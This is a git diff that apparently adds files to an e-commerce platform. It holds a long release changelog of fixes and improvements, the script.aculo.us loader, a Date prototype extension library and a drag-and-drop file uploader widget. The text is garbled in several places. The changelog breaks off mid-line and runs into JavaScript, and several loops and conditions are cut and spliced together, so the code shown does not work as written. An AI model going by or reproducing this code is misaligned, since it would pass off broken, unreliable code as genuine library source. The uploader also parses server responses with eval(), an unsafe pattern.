Translations tab + [*] BO : Improved product indexation (1 query instead of 1 query per word!) + [*] BO : Improvement about login with SSL enabled. Now you can use http if maintenance or local ip. + [*] BO : On module list reduce SQL query + [*] BO : On modules position reduce SQL queries + [*] BO : Remove unused variable + [*] BO : added a default sort direction on the stats modules + [*] BO : added a warning message when the shop domain name is wrong + [*] BO : added warning message when updating a language pack you already installed + [*] BO : check if cart has an order attached improvement + [*] BO : delete unused method and globals in adminOrder + [*] BO : deleting the English language is now forbidden + [*] BO : improvement of module filter system + [*] BO : initial stock to 0 (new added products,new declination,generator declination ) + [*] BO : now all hidden file are excluded in listing file in adminImport + [*] BO : now to enable ssl, you need to already use it in back office + [*] BO : performance optimization in the back office, and performance tools added for developers + [*] BO : when carrier is free => don't display range + [*] BO : you can now choose if you want to delete existing images in product import + [*] BO : you can now enable or disable newsletter and optin options, directly on the customers listing + + [*] Classes : removed some more returns in constructors see #PSCFI-2009 + [*] Classes : see #PSCFI-2009 - Use of return statements in class constructors break class integrity + + [*] MO : Change European VAT module description + [*] MO : Enable translation to title/description of the module "pretashop security" + [*] MO : Fix bug when saving module Customer referral program (error message say each time "Invalid html field, javascript is forbidden") + [*] MO : Improvment #PSCFI-934 - UPS module has now an option to make one package for all products + [*] MO : fixed bug on validate Rules shopImport + [*] MO : fixing tpl calculation specials + [*] MO : import oscommerce now import newsletter + [*] MO : improve in module Paypal (thank you Tomer) + [*] MO : now oscommerce import use "date_add" for products + [*] MO : theme installer can now manage module exceptions + + [*] WS : Add image association for combinations + [*] WS : Add information for associations : virtual_entity + [*] WS : Add manufacturer_name getter for Product entity and clean WebserviceParameters of Configuration entity + [*] WS : Add new authentification method for Webservice + [*] WS : Add setWsPasswd in Customer and Employee entity in order to set password in plain text + [*] WS : All setter which don't exists is set to false + [*] WS : Fixed feature/bug PSCFI-1095 + [*] WS : Improve Attribute displaying + [*] WS : dispatcher evolved + [*] WS : refactoring webservice classes + [*] WS : set the class name to us for webservice with a static property of WebserviceRequest class. [-] WS : product options values are get well + + [*] TR : fixed translations #PSCFI-759 + [*] TR : fixed translations #PSCFI-862 + + Fixed bugs: + + [-] PROJECT : Fixing bug in AddressFormat (as vSchoener suggestion) + [-] Project : Add a new way to build the layout address. All template / pdf are compatible with and keep the order of the layout. Fix US format view for the addresses + [-] Project : add parameters to respect the strict standard + [-] Project : add parameters to respect the strict standard + [-] Project : fixed bug #PSCFI-1687 - $protocol_link and $protocol_content not assigning correctly + + [-] Installer : 1.4.1.1 => 1.4.2.0 wq + [-] Installer : Fix PSCFI-1579 - on update, paypal and authorize.net will not be disabled. + [-] Installer : Fixed #PSCFI-1722 - Characters encoding problem + [-] Installer : Fixed bug #1803 - Adding IGNORE if the configuration already exists + [-] Installer : Fixed bug #1803 - The PS_STOCK_MVT_REASON_DEFAULT was never add in the configuration table during the update. + [-] Installer : Fixed bug in sql query settings lite + [-] Installer : Fixed bug on installing without default timezone + [-] Installer : Fixed for new address format + [-] Installer : Fixed undefined constant when upgrading from version 1.3.7 or lower + [-] Installer : If an user submit wrong infos on the step 4, he can't re-submit the form because the button next is disabled + [-] Installer : Missing translations + [-] Installer : Tab AdminAliases is now correctly moved to Preferences during update + [-] Installer : Undefined variable in update_module_followup + [-] Installer : bug fixed #1863 request update (SQL) + [-] Installer : desactivate custom module will not desactivate native partner modules + [-] Installer : fix commit 6591 - remove duplicates from table category_group + [-] Installer : fix error template smarty for smarty v2 + [-] Installer : fix php version ubuntu + [-] Installer : fixed bug #PSCFI-1301 - Prestashop installation and Swift exception + [-] Installer : fixed bug #PSCFI-1542 - PSCFI-1455 (svn5981) needs further followup + [-] Installer : fixed bug #PSCFI-1613 - Missing flag when adding languages during installation + [-] Installer : fixed bug #PSCFI-1747 - Variable assigned to rigidly in a file in the module dateofdelivery + [-] Installer : fixed bug #PSCFI-1823 - use of PHP function property_exists is not compatible with PHP 5.0 + [-] Installer : fixed bug #PSCFI-1841 - ps prefix in sql file + [-] Installer : fixed bug #PSCFI-1908 - Tab name for SEO & URLs is now updated in sql 1.4.2.3 + [-] Installer : fixed bug #PSCFI-1934 - removes duplicates from table category_group + [-] Installer : fixed bug #PSCFI-979 - unknown _PS_version_ in install process + [-] Installer : fixed bug on upgrader when you have wrong informations in your settings.inc.php file + [-] Installer : fixed timezone issue on install process with a version of PHP < 5.2 + [-] Installer : fixes for the sql upgrade scripts + [-] Installer : module loyalty + [-] Installer : removed hard id_tab for AdminMeta lang update + + [-] FO : If the purchase is verified with a guest account if this type of control is allowed + [-] FO : Prohibits the payment of an order if the conditions were not accepted + [-] FO : #PSCFI-1654 Fixed a bug concerning the order process after a login + [-] FO : #PSCFI-1660 Fixed a bug which not display an error when a carrier is not selected + [-] FO : #PSCFI-1674 Display problem about tax identification with guest checkout activated + [-] FO : Accept return product when the status of payment is accepted. + [-] FO : After an upgrade, it was impossible to create an account + [-] FO : Bug Fixed #PSCFI-1558 - Ecotax on product page when taxes are disabled + [-] FO : Bug Fixed #PSCFI-1845 - Rounding issues + [-] FO : Bug Fixed #PSCFI-1980 - Minimum order purchase and taxes + [-] FO : Fix bug when double click on "confirm order" button (add .hideOnSubmit class on elements to hide when parent form is submit) #PSCFI-1954 + [-] FO : Fix bug when double click on "confirm order" button (add .hideOnSubmit class on elements to hide when parent form is submit) #PSCFI-1954 + [-] FO : Fix else if and assign compatibility for smarty v2 + [-] FO : Fix state order for USA + [-] FO : Fix the displayed address using smarty 2 + [-] FO : Fix the state display changing the country when State:name doesn't exist in the layout + [-] FO : Fix theme compatibility < 1.4.2 + [-] FO : Fix undefined variable + [-] FO : Fixed #PSCFI-1454 - fixed security lack if someone know the maintenance IP + [-] FO : Fixed #PSCFI-1611 - Comment mistake + [-] FO : Fixed a bug related to Smarty v2 on addresses.tpl + [-] FO : Fixed a bug related to the "Last quantities available" message display + [-] FO : Fixed an error when declinations with variable attributes are created for a same product + [-] FO : Fixed bug #PSCFI-1582 - Not correct search. Now we list all products which contains the search word. + [-] FO : Fixed bug #PSCFI-1592 - CMS category specifics meta tags was missing + [-] FO : Fixed bug #PSCFI-1593 - Path error with CMS subcategory. The $fullPath variable wasn't declared in the right place. + [-] FO : Fixed bug #PSCFI-1652 - The Best Sales pagination now works properly + [-] FO : Fixed bug #PSCFI-1665 - Invalid token when Instant search enabled. The $static_token variable was never set with instant search + [-] FO : Fixed bug #PSCFI-1718 - Categories block doesn't show categories when processing empty cart checkout. There was a javascript error. + [-] FO : Fixed bug #PSCFI-1825 - Tax is always displayed on the cart module + [-] FO : Fixed bug #PSCFI-1842 For guest, order details disappears when the browser is resized (IE7) + [-] FO : Fixed bug #PSCFI-1858 - Bug with cutomized field and reordering + [-] FO : Fixed bug #PSCFI-1864 - Fixed bug on ganalytics trackink step order when using url rewriting + [-] FO : Fixed bug #PSCFI-1865 - Some supplier images were not displayed. Image directory was _PS_MANU_IMG_DIR_ instead of _PS_SUPP_IMG_DIR_ + [-] FO : Fixed bug #PSCFI-1883 - Changing the condition to avoid a problem of cache + [-] FO : Fixed bug #PSCFI-1895 - redirection problems on adding product to cart + [-] FO : Fixed bug #PSCFI-1895 - redirection problems on removing product to cart + [-] FO : Fixed bug #PSCFI-1914 - Voucher calculation and product discount + [-] FO : Fixed bug #PSCFI-1914 - Voucher calculation and product discount + [-] FO : Fixed bug #PSCFI-2024 - If using minimum amount to order don't see "cart is empty" alert but the cart with no products. + [-] FO : Fixed bug Smarty error $customizationQuantityTotal didn't exist. Replaced by $product.customizationQuantityTotal. + [-] FO : Fixed the undefined variable invoice_address on pdf-order-return.php + [-] FO : Incorrect price on product page when using group reduction + combination + [-] FO : No error popup "Cannot add this product because current voucher does not allow additional discounts" while using ajax cart + [-] FO : Product combination quantity not displayed + [-] FO : Product with combination should use default ecotax if not overriden + [-] FO : Removed useless CSS in blockstore #PSCFI-1443 + [-] FO : Small fix regarding code standards + [-] FO : Validation W3C + [-] FO : bug fixed remaning for free shippping was casted to int + [-] FO : extra semicolon + [-] FO : fix a bug with default declination in product page #PSCFI-1917 + [-] FO : fix a javascript bug on order page when a cart item is deleted #PSCFI-1905 + [-] FO : fixed a bug wich controls the validity of the password + [-] FO : fixed bug #PSCFI-1310 - DNI mandatory for country not requesting DNI + [-] FO : fixed bug #PSCFI-1316 - one page checkout gives shipping error when the shipping clearly shows + [-] FO : fixed bug #PSCFI-1585 - Wrong filename css in SearchControllers.php + [-] FO : fixed bug #PSCFI-1590 - meta page title for manufacturers and suppliers + [-] FO : fixed bug #PSCFI-1602 - Googlemaps does not show the map or even the shops (there is no map) + [-] FO : fixed bug #PSCFI-1686 - Redirect to ssl has incorrect logic + [-] FO : fixed bug #PSCFI-1713 - issue with wishlist name translation + [-] FO : fixed bug #PSCFI-1786 - svn6231 cart bug and cannot check out using 1 page or 5 step checkout + [-] FO : fixed bug #PSCFI-1827 - Error with Url rewrite on stores page + [-] FO : fixed bug #PSCFI-1906 - 2 states fields for American account creation + [-] FO : fixed bug #PSCFI-2012 - The names of some sub categories are overflowing + [-] FO : fixed bug on refresh of cart summary when you log in on One page checkout + [-] FO : fixed bug on smarty v2 compatibility + [-] FO : fixed little bug with TOS value on Cookie + [-] FO : fixed strange chars in CMS contents when HTML is reduced #PSCFI-1956 + [-] FO : removing the link on the category label + [-] FO : search improvements, both for indexation and search + [-] FO : see #PSCFI-1454 + [-] FO : set '); + }, + load: function() { + if((typeof Prototype=='undefined') || + (typeof Element == 'undefined') || + (typeof Element.Methods=='undefined') || + parseFloat(Prototype.Version.split(".")[0] + "." + + Prototype.Version.split(".")[1]) < 1.5) + throw("script.aculo.us requires the Prototype JavaScript framework >= 1.5.0"); + + $A(document.getElementsByTagName("script")).findAll( function(s) { + return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/)) + }).each( function(s) { + var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,''); + var includes = s.src.match(/\?.*load=([a-z,]*)/); + (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider').split(',').each( + function(include) { Scriptaculous.require(path+include+'.js') }); + }); + } +} + +Scriptaculous.load(); \ No newline at end of file diff --git a/js/date.js b/js/date.js new file mode 100755 index 0000000..a9003f7 --- /dev/null +++ b/js/date.js @@ -0,0 +1,467 @@ +/* + * Date prototype extensions. Doesn't depend on any + * other code. Doens't overwrite existing methods. + * + * Adds dayNames, abbrDayNames, monthNames and abbrMonthNames static properties and isLeapYear, + * isWeekend, isWeekDay, getDaysInMonth, getDayName, getMonthName, getDayOfYear, getWeekOfYear, + * setDayOfYear, addYears, addMonths, addDays, addHours, addMinutes, addSeconds methods + * + * Copyright (c) 2006 Jörn Zaefferer and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) + * + * Additional methods and properties added by Kelvin Luck: firstDayOfWeek, dateFormat, zeroTime, asString, fromString - + * I've added my name to these methods so you know who to blame if they are broken! + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * + */ + +/** + * An Array of day names starting with Sunday. + * + * @example dayNames[0] + * @result 'Sunday' + * + * @name dayNames + * @type Array + * @cat Plugins/Methods/Date + */ +Date.dayNames = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']; + +/** + * An Array of abbreviated day names starting with Sun. + * + * @example abbrDayNames[0] + * @result 'Sun' + * + * @name abbrDayNames + * @type Array + * @cat Plugins/Methods/Date + */ +Date.abbrDayNames = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; + +/** + * An Array of month names starting with Janurary. + * + * @example monthNames[0] + * @result 'January' + * + * @name monthNames + * @type Array + * @cat Plugins/Methods/Date + */ +Date.monthNames = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; + +/** + * An Array of abbreviated month names starting with Jan. + * + * @example abbrMonthNames[0] + * @result 'Jan' + * + * @name monthNames + * @type Array + * @cat Plugins/Methods/Date + */ +Date.abbrMonthNames = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + +/** + * The first day of the week for this locale. + * + * @name firstDayOfWeek + * @type Number + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ +Date.firstDayOfWeek = 1; + +/** + * The format that string dates should be represented as (e.g. 'dd/mm/yyyy' for UK, 'mm/dd/yyyy' for US, 'yyyy-mm-dd' for Unicode etc). + * + * @name format + * @type String + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ +//Date.format = 'dd/mm/yyyy'; +//Date.format = 'mm/dd/yyyy'; +Date.format = 'yyyy-mm-dd'; +//Date.format = 'dd mmm yy'; + +/** + * The first two numbers in the century to be used when decoding a two digit year. Since a two digit year is ambiguous (and date.setYear + * only works with numbers < 99 and so doesn't allow you to set years after 2000) we need to use this to disambiguate the two digit year codes. + * + * @name format + * @type String + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ +Date.fullYearStart = '20'; + +(function() { + + /** + * Adds a given method under the given name + * to the Date prototype if it doesn't + * currently exist. + * + * @private + */ + function add(name, method) { + if( !Date.prototype[name] ) { + Date.prototype[name] = method; + } + }; + + /** + * Checks if the year is a leap year. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.isLeapYear(); + * @result true + * + * @name isLeapYear + * @type Boolean + * @cat Plugins/Methods/Date + */ + add("isLeapYear", function() { + var y = this.getFullYear(); + return (y%4==0 && y%100!=0) || y%400==0; + }); + + /** + * Checks if the day is a weekend day (Sat or Sun). + * + * @example var dtm = new Date("01/12/2008"); + * dtm.isWeekend(); + * @result false + * + * @name isWeekend + * @type Boolean + * @cat Plugins/Methods/Date + */ + add("isWeekend", function() { + return this.getDay()==0 || this.getDay()==6; + }); + + /** + * Check if the day is a day of the week (Mon-Fri) + * + * @example var dtm = new Date("01/12/2008"); + * dtm.isWeekDay(); + * @result false + * + * @name isWeekDay + * @type Boolean + * @cat Plugins/Methods/Date + */ + add("isWeekDay", function() { + return !this.isWeekend(); + }); + + /** + * Gets the number of days in the month. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getDaysInMonth(); + * @result 31 + * + * @name getDaysInMonth + * @type Number + * @cat Plugins/Methods/Date + */ + add("getDaysInMonth", function() { + return [31,(this.isLeapYear() ? 29:28),31,30,31,30,31,31,30,31,30,31][this.getMonth()]; + }); + + /** + * Gets the name of the day. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getDayName(); + * @result 'Saturday' + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getDayName(true); + * @result 'Sat' + * + * @param abbreviated Boolean When set to true the name will be abbreviated. + * @name getDayName + * @type String + * @cat Plugins/Methods/Date + */ + add("getDayName", function(abbreviated) { + return abbreviated ? Date.abbrDayNames[this.getDay()] : Date.dayNames[this.getDay()]; + }); + + /** + * Gets the name of the month. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getMonthName(); + * @result 'Janurary' + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getMonthName(true); + * @result 'Jan' + * + * @param abbreviated Boolean When set to true the name will be abbreviated. + * @name getDayName + * @type String + * @cat Plugins/Methods/Date + */ + add("getMonthName", function(abbreviated) { + return abbreviated ? Date.abbrMonthNames[this.getMonth()] : Date.monthNames[this.getMonth()]; + }); + + /** + * Get the number of the day of the year. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getDayOfYear(); + * @result 11 + * + * @name getDayOfYear + * @type Number + * @cat Plugins/Methods/Date + */ + add("getDayOfYear", function() { + var tmpdtm = new Date("1/1/" + this.getFullYear()); + return Math.floor((this.getTime() - tmpdtm.getTime()) / 86400000); + }); + + /** + * Get the number of the week of the year. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.getWeekOfYear(); + * @result 2 + * + * @name getWeekOfYear + * @type Number + * @cat Plugins/Methods/Date + */ + add("getWeekOfYear", function() { + return Math.ceil(this.getDayOfYear() / 7); + }); + + /** + * Set the day of the year. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.setDayOfYear(1); + * dtm.toString(); + * @result 'Tue Jan 01 2008 00:00:00' + * + * @name setDayOfYear + * @type Date + * @cat Plugins/Methods/Date + */ + add("setDayOfYear", function(day) { + this.setMonth(0); + this.setDate(day); + return this; + }); + + /** + * Add a number of years to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addYears(1); + * dtm.toString(); + * @result 'Mon Jan 12 2009 00:00:00' + * + * @name addYears + * @type Date + * @cat Plugins/Methods/Date + */ + add("addYears", function(num) { + this.setFullYear(this.getFullYear() + num); + return this; + }); + + /** + * Add a number of months to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addMonths(1); + * dtm.toString(); + * @result 'Tue Feb 12 2008 00:00:00' + * + * @name addMonths + * @type Date + * @cat Plugins/Methods/Date + */ + add("addMonths", function(num) { + var tmpdtm = this.getDate(); + + this.setMonth(this.getMonth() + num); + + if (tmpdtm > this.getDate()) + this.addDays(-this.getDate()); + + return this; + }); + + /** + * Add a number of days to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addDays(1); + * dtm.toString(); + * @result 'Sun Jan 13 2008 00:00:00' + * + * @name addDays + * @type Date + * @cat Plugins/Methods/Date + */ + add("addDays", function(num) { + this.setDate(this.getDate() + num); + return this; + }); + + /** + * Add a number of hours to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addHours(24); + * dtm.toString(); + * @result 'Sun Jan 13 2008 00:00:00' + * + * @name addHours + * @type Date + * @cat Plugins/Methods/Date + */ + add("addHours", function(num) { + this.setHours(this.getHours() + num); + return this; + }); + + /** + * Add a number of minutes to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addMinutes(60); + * dtm.toString(); + * @result 'Sat Jan 12 2008 01:00:00' + * + * @name addMinutes + * @type Date + * @cat Plugins/Methods/Date + */ + add("addMinutes", function(num) { + this.setMinutes(this.getMinutes() + num); + return this; + }); + + /** + * Add a number of seconds to the date object. + * + * @example var dtm = new Date("01/12/2008"); + * dtm.addSeconds(60); + * dtm.toString(); + * @result 'Sat Jan 12 2008 00:01:00' + * + * @name addSeconds + * @type Date + * @cat Plugins/Methods/Date + */ + add("addSeconds", function(num) { + this.setSeconds(this.getSeconds() + num); + return this; + }); + + /** + * Sets the time component of this Date to zero for cleaner, easier comparison of dates where time is not relevant. + * + * @example var dtm = new Date(); + * dtm.zeroTime(); + * dtm.toString(); + * @result 'Sat Jan 12 2008 00:01:00' + * + * @name zeroTime + * @type Date + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ + add("zeroTime", function() { + this.setMilliseconds(0); + this.setSeconds(0); + this.setMinutes(0); + this.setHours(0); + return this; + }); + + /** + * Returns a string representation of the date object according to Date.format. + * (Date.toString may be used in other places so I purposefully didn't overwrite it) + * + * @example var dtm = new Date("01/12/2008"); + * dtm.asString(); + * @result '12/01/2008' // (where Date.format == 'dd/mm/yyyy' + * + * @name asString + * @type Date + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ + add("asString", function() { + var r = Date.format; + return r + .split('yyyy').join(this.getFullYear()) + .split('yy').join((this.getFullYear() + '').substring(2)) + .split('mmm').join(this.getMonthName(true)) + .split('mm').join(_zeroPad(this.getMonth()+1)) + .split('dd').join(_zeroPad(this.getDate())); + }); + + /** + * Returns a new date object created from the passed String according to Date.format or false if the attempt to do this results in an invalid date object + * (We can't simple use Date.parse as it's not aware of locale and I chose not to overwrite it incase it's functionality is being relied on elsewhere) + * + * @example var dtm = Date.fromString("12/01/2008"); + * dtm.toString(); + * @result 'Sat Jan 12 2008 00:00:00' // (where Date.format == 'dd/mm/yyyy' + * + * @name fromString + * @type Date + * @cat Plugins/Methods/Date + * @author Kelvin Luck + */ + Date.fromString = function(s) + { + var f = Date.format; + var d = new Date('01/01/1977'); + var iY = f.indexOf('yyyy'); + if (iY > -1) { + d.setFullYear(Number(s.substr(iY, 4))); + } else { + // TODO - this doesn't work very well - are there any rules for what is meant by a two digit year? + d.setFullYear(Number(Date.fullYearStart + s.substr(f.indexOf('yy'), 2))); + } + var iM = f.indexOf('mmm'); + if (iM > -1) { + var mStr = s.substr(iM, 3); + for (var i=0; i this._options.sizeLimit){ + this._error('sizeError', name); + return false; + + } else if (size && size < this._options.minSizeLimit){ + this._error('minSizeError', name); + return false; + } + + return true; + }, + _error: function(code, fileName){ + var message = this._options.messages[code]; + function r(name, replacement){ message = message.replace(name, replacement); } + + r('{file}', this._formatFileName(fileName)); + r('{extensions}', this._options.allowedExtensions.join(', ')); + r('{sizeLimit}', this._formatSize(this._options.sizeLimit)); + r('{minSizeLimit}', this._formatSize(this._options.minSizeLimit)); + + this._options.showMessage(message); + }, + _formatFileName: function(name){ + if (name.length > 33){ + name = name.slice(0, 19) + '...' + name.slice(-13); + } + return name; + }, + _isAllowedExtension: function(fileName){ + var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : ''; + var allowed = this._options.allowedExtensions; + + if (!allowed.length){return true;} + + for (var i=0; i 99); + + return Math.max(bytes, 0.1).toFixed(1) + ['kB', 'MB', 'GB', 'TB', 'PB', 'EB'][i]; + } +}; + + +/** + * Class that creates upload widget with drag-and-drop and file list + * @inherits qq.FileUploaderBasic + */ +qq.FileUploader = function(o){ + // call parent constructor + qq.FileUploaderBasic.apply(this, arguments); + + // additional options + qq.extend(this._options, { + element: null, + // if set, will be used instead of qq-upload-list in template + listElement: null, + + template: '
' + + '
' + upbutton +'
' + + '' + + '
', + + // template for one item in file list + fileTemplate: '
  • ' + + '' + + '' + + '' + + 'Cancel' + + 'Failed' + + '
  • ', + + classes: { + // used to get elements from templates + button: 'qq-upload-button', + list: 'qq-upload-list', + + file: 'qq-upload-file', + spinner: 'qq-upload-spinner', + size: 'qq-upload-size', + cancel: 'qq-upload-cancel', + + // added to list item when upload completes + // used in css to hide progress spinner + success: 'qq-upload-success', + fail: 'qq-upload-fail' + } + }); + // overwrite options with user supplied + qq.extend(this._options, o); + + this._element = this._options.element; + this._element.innerHTML = this._options.template; + this._listElement = this._options.listElement || this._find(this._element, 'list'); + + this._classes = this._options.classes; + + this._button = this._createUploadButton(this._find(this._element, 'button')); + + this._bindCancelEvent(); +}; + +// inherit from Basic Uploader +qq.extend(qq.FileUploader.prototype, qq.FileUploaderBasic.prototype); + +qq.extend(qq.FileUploader.prototype, { + /** + * Gets one of the elements listed in this._options.classes + **/ + _find: function(parent, type){ + var element = qq.getByClass(parent, this._options.classes[type])[0]; + if (!element){ + throw new Error('element not found ' + type); + } + + return element; + }, + + _onSubmit: function(id, fileName){ + qq.FileUploaderBasic.prototype._onSubmit.apply(this, arguments); + this._addToList(id, fileName); + }, + _onProgress: function(id, fileName, loaded, total){ + qq.FileUploaderBasic.prototype._onProgress.apply(this, arguments); + + var item = this._getItemByFileId(id); + var size = this._find(item, 'size'); + size.style.display = 'inline'; + + var text; + if (loaded != total){ + text = Math.round(loaded / total * 100) + '% from ' + this._formatSize(total); + } else { + text = this._formatSize(total); + } + + qq.setText(size, text); + }, + _onComplete: function(id, fileName, result){ + qq.FileUploaderBasic.prototype._onComplete.apply(this, arguments); + + // mark completed + var item = this._getItemByFileId(id); + qq.remove(this._find(item, 'cancel')); + qq.remove(this._find(item, 'spinner')); + + if (result.success){ + qq.addClass(item, this._classes.success); + } else { + qq.addClass(item, this._classes.fail); + } + }, + _addToList: function(id, fileName){ + var item = qq.toElement(this._options.fileTemplate); + item.qqFileId = id; + + var fileElement = this._find(item, 'file'); + qq.setText(fileElement, this._formatFileName(fileName)); + this._find(item, 'size').style.display = 'none'; + + this._listElement.appendChild(item); + }, + _getItemByFileId: function(id){ + var item = this._listElement.firstChild; + + // there can't be txt nodes in dynamically created list + // and we can use nextSibling + while (item){ + if (item.qqFileId == id) return item; + item = item.nextSibling; + } + }, + /** + * delegate click event for cancel link + **/ + _bindCancelEvent: function(){ + var self = this, + list = this._listElement; + + qq.attach(list, 'click', function(e){ + e = e || window.event; + var target = e.target || e.srcElement; + + if (qq.hasClass(target, self._classes.cancel)){ + qq.preventDefault(e); + + var item = target.parentNode; + self._handler.cancel(item.qqFileId); + qq.remove(item); + } + }); + } +}); + + +qq.UploadButton = function(o){ + this._options = { + element: null, + // if set to true adds multiple attribute to file input + multiple: false, + // name attribute of file input + name: 'file', + onChange: function(input){}, + hoverClass: 'qq-upload-button-hover', + focusClass: 'qq-upload-button-focus' + }; + + qq.extend(this._options, o); + + this._element = this._options.element; + + // make button suitable container for input + qq.css(this._element, { + position: 'relative', + overflow: 'hidden', + // Make sure browse button is in the right side + // in Internet Explorer + direction: 'ltr' + }); + + this._input = this._createInput(); +}; + +qq.UploadButton.prototype = { + /* returns file input element */ + getInput: function(){ + return this._input; + }, + /* cleans/recreates the file input */ + reset: function(){ + if (this._input.parentNode){ + qq.remove(this._input); + } + + qq.removeClass(this._element, this._options.focusClass); + this._input = this._createInput(); + }, + _createInput: function(){ + var input = document.createElement("input"); + + if (this._options.multiple){ + input.setAttribute("multiple", "multiple"); + } + + input.setAttribute("type", "file"); + input.setAttribute("name", this._options.name); + + qq.css(input, { + position: 'absolute', + // in Opera only 'browse' button + // is clickable and it is located at + // the right side of the input + right: 0, + top: 0, + fontFamily: 'Arial', + // 4 persons reported this, the max values that worked for them were 243, 236, 236, 118 + fontSize: '18px', + margin: 0, + padding: 0, + cursor: 'pointer', + opacity: 0 + }); + + this._element.appendChild(input); + + var self = this; + qq.attach(input, 'change', function(){ + self._options.onChange(input); + }); + + qq.attach(input, 'mouseover', function(){ + qq.addClass(self._element, self._options.hoverClass); + }); + qq.attach(input, 'mouseout', function(){ + qq.removeClass(self._element, self._options.hoverClass); + }); + qq.attach(input, 'focus', function(){ + qq.addClass(self._element, self._options.focusClass); + }); + qq.attach(input, 'blur', function(){ + qq.removeClass(self._element, self._options.focusClass); + }); + + // IE and Opera, unfortunately have 2 tab stops on file input + // which is unacceptable in our case, disable keyboard access + if (window.attachEvent){ + // it is IE or Opera + input.setAttribute('tabIndex', "-1"); + } + + return input; + } +}; + +/** + * Class for uploading files, uploading itself is handled by child classes + */ +qq.UploadHandlerAbstract = function(o){ + this._options = { + debug: false, + action: '/upload.php', + // maximum number of concurrent uploads + maxConnections: 999, + onProgress: function(id, fileName, loaded, total){}, + onComplete: function(id, fileName, response){}, + onCancel: function(id, fileName){} + }; + qq.extend(this._options, o); + + this._queue = []; + // params for files in queue + this._params = []; +}; +qq.UploadHandlerAbstract.prototype = { + log: function(str){ + if (this._options.debug && window.console) console.log('[uploader] ' + str); + }, + /** + * Adds file or file input to the queue + * @returns id + **/ + add: function(file){}, + /** + * Sends the file identified by id and additional query params to the server + */ + upload: function(id, params){ + var len = this._queue.push(id); + + var copy = {}; + qq.extend(copy, params); + this._params[id] = copy; + + // if too many active uploads, wait... + if (len <= this._options.maxConnections){ + this._upload(id, this._params[id]); + } + }, + /** + * Cancels file upload by id + */ + cancel: function(id){ + this._cancel(id); + this._dequeue(id); + }, + /** + * Cancells all uploads + */ + cancelAll: function(){ + for (var i=0; i= max && i < max){ + var nextId = this._queue[max-1]; + this._upload(nextId, this._params[nextId]); + } + } +}; + +/** + * Class for uploading files using form and iframe + * @inherits qq.UploadHandlerAbstract + */ +qq.UploadHandlerForm = function(o){ + qq.UploadHandlerAbstract.apply(this, arguments); + + this._inputs = {}; +}; +// @inherits qq.UploadHandlerAbstract +qq.extend(qq.UploadHandlerForm.prototype, qq.UploadHandlerAbstract.prototype); + +qq.extend(qq.UploadHandlerForm.prototype, { + add: function(fileInput){ + fileInput.setAttribute('name', 'qqfile'); + var id = 'qq-upload-handler-iframe' + qq.getUniqueId(); + + this._inputs[id] = fileInput; + + // remove file input from DOM + if (fileInput.parentNode){ + qq.remove(fileInput); + } + + return id; + }, + getName: function(id){ + // get input value and remove path to normalize + return this._inputs[id].value.replace(/.*(\/|\\)/, ""); + }, + _cancel: function(id){ + this._options.onCancel(id, this.getName(id)); + + delete this._inputs[id]; + + var iframe = document.getElementById(id); + if (iframe){ + // to cancel request set src to something else + // we use src="javascript:false;" because it doesn't + // trigger ie6 prompt on https + iframe.setAttribute('src', 'javascript:false;'); + + qq.remove(iframe); + } + }, + _upload: function(id, params){ + var input = this._inputs[id]; + + if (!input){ + throw new Error('file with passed id was not added, or already uploaded or cancelled'); + } + + var fileName = this.getName(id); + + var iframe = this._createIframe(id); + var form = this._createForm(iframe, params); + form.appendChild(input); + + var self = this; + this._attachLoadEvent(iframe, function(){ + self.log('iframe loaded'); + + var response = self._getIframeContentJSON(iframe); + + self._options.onComplete(id, fileName, response); + self._dequeue(id); + + delete self._inputs[id]; + // timeout added to fix busy state in FF3.6 + setTimeout(function(){ + qq.remove(iframe); + }, 1); + }); + + form.submit(); + qq.remove(form); + + return id; + }, + _attachLoadEvent: function(iframe, callback){ + qq.attach(iframe, 'load', function(){ + // when we remove iframe from dom + // the request stops, but in IE load + // event fires + if (!iframe.parentNode){ + return; + } + + // fixing Opera 10.53 + if (iframe.contentDocument && + iframe.contentDocument.body && + iframe.contentDocument.body.innerHTML == "false"){ + // In Opera event is fired second time + // when body.innerHTML changed from false + // to server response approx. after 1 sec + // when we upload file with iframe + return; + } + + callback(); + }); + }, + /** + * Returns json object received by iframe from server. + */ + _getIframeContentJSON: function(iframe){ + // iframe.contentWindow.document - for IE<7 + var doc = iframe.contentDocument ? iframe.contentDocument: iframe.contentWindow.document, + response; + + this.log("converting iframe's innerHTML to JSON"); + this.log("innerHTML = " + doc.body.innerHTML); + + try { + response = eval("(" + doc.body.innerHTML + ")"); + } catch(err){ + response = {}; + } + + return response; + }, + /** + * Creates iframe with unique name + */ + _createIframe: 